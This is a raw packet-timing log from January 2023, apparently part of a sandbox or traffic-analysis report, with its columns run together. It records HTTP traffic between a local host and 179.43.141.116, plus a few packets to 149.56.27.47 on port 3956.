                                                                              Jan 3, 2023 08:16:06.629601002 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629615068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629622936 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629628897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629642963 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629657030 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629671097 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629684925 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629698992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629713058 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629720926 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629720926 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629720926 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629720926 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629818916 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629818916 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629955053 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629955053 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.630053997 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.630053997 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.630053997 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.630053997 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.630053997 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.630570889 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.630570889 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.630570889 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.630619049 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.630619049 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.630619049 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.630619049 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.630619049 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.630620003 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.633354902 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.643588066 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.644666910 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:16:06.645004988 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:16:06.646044970 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:16:06.677484989 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.677561045 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.677685022 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.677849054 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.679303885 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.679378986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.679435015 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.679488897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.679541111 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.679594994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.679594040 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.679594040 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.679647923 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.679651976 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.679702044 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.679703951 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.679755926 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.679810047 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.679816961 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.679863930 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.679897070 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.679919004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.679972887 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.679977894 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.680025101 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.680066109 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.680078030 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.680099964 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.680131912 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.680160999 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.680185080 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.680238962 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.680243969 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.680243969 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.680293083 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.680351019 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.680378914 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.680433035 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.680475950 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.680501938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.680561066 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.680561066 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.680582047 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.680656910 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.680670023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.680744886 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.680792093 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.680799961 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.680855989 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.680908918 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.680952072 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.680952072 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.680962086 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.681015015 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.681016922 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.681066990 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.681119919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.681171894 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.681195974 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.681224108 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.681252956 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.681252956 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.681277037 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.681329966 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.681356907 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.681381941 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.681406021 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.681436062 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.681488037 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.681540012 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.681536913 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.681587934 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.681587934 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.681592941 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.681644917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.681673050 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.681696892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.681752920 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.681806087 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.681807995 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.681859016 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.681899071 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.681899071 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.681911945 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.681965113 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.681996107 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.682018042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.682069063 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.682070971 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.682123899 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.682158947 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.682176113 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.682229042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.682230949 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.682280064 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.682281017 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.682333946 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.682338953 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.682374954 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.682427883 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.682481050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.682492971 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.682492971 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.682533026 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.682585001 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.682589054 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.682636976 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.682650089 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.682689905 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.682725906 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.682742119 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.682794094 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.682797909 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.682846069 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.682888031 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.682898045 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.682936907 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.682950020 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.683001995 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.683005095 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.683058023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.683110952 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.683149099 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.683162928 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.683216095 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.683223963 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.683223963 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.683268070 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.683320045 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.683320045 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.683372021 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.683423996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.683464050 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.683476925 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.683530092 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.683540106 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.683540106 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.683583021 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.683635950 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.683638096 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.683687925 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.683741093 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.683793068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.683799982 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.683845043 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.683878899 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.683880091 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.683897972 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.683950901 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.683974981 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.684004068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.684026003 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.684056997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.684075117 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.684109926 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.684163094 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.684166908 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.684166908 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.684216022 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.684262991 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.684267998 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.684344053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.684359074 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.684359074 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.684398890 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.684452057 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.684504032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.684508085 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.684556961 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.684592962 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.684592962 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.684609890 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.684663057 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.684689999 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.684715033 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.684767962 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.684771061 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.684822083 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.684860945 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.684875965 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.684927940 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.684932947 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.684979916 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.684981108 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.685033083 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.685039043 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.685086012 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.685137987 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.685174942 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.685189962 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.685241938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.685250044 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.685250044 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.685296059 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.685348988 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.685355902 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.685401917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.685419083 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.685453892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.685506105 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.685535908 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.685559034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.685611010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.685625076 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.685625076 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.685663939 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.685714006 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.685715914 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.685769081 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.685822010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.685859919 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.685873985 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.685926914 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.685930967 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.685931921 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.685978889 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.686031103 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.686038017 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.686083078 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.686111927 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.686136007 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.686187983 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.686192989 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.686239958 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.686283112 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.686292887 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.686331034 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.686345100 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.686382055 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.686398029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.686450958 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.686454058 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.686502934 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.686556101 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.686562061 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.686610937 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.686642885 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.686664104 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.686705112 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.686717987 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.686753988 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.686770916 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.686824083 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.686830997 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.686876059 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.686928988 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.686938047 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.686991930 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.687031031 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.687099934 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.687109947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.687165022 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.687207937 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.687217951 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.687271118 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.687271118 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.687324047 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.687375069 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.687387943 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.687426090 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.687436104 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.687478065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.687495947 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.687530041 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.687544107 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.687582016 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.687623024 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.687623024 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.687633991 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.687685966 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.687720060 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.687720060 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.687736988 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.687788963 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.687817097 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.687839985 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.687890053 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.687890053 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.687891960 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.687944889 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.687997103 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.688035965 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.688049078 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.688101053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.688108921 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.688108921 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.688153982 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.688205004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.688206911 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.688256979 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.688297033 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.688325882 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.688370943 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.688381910 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.688435078 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.688467979 CET4986980192.168.11.20179.43.141.116
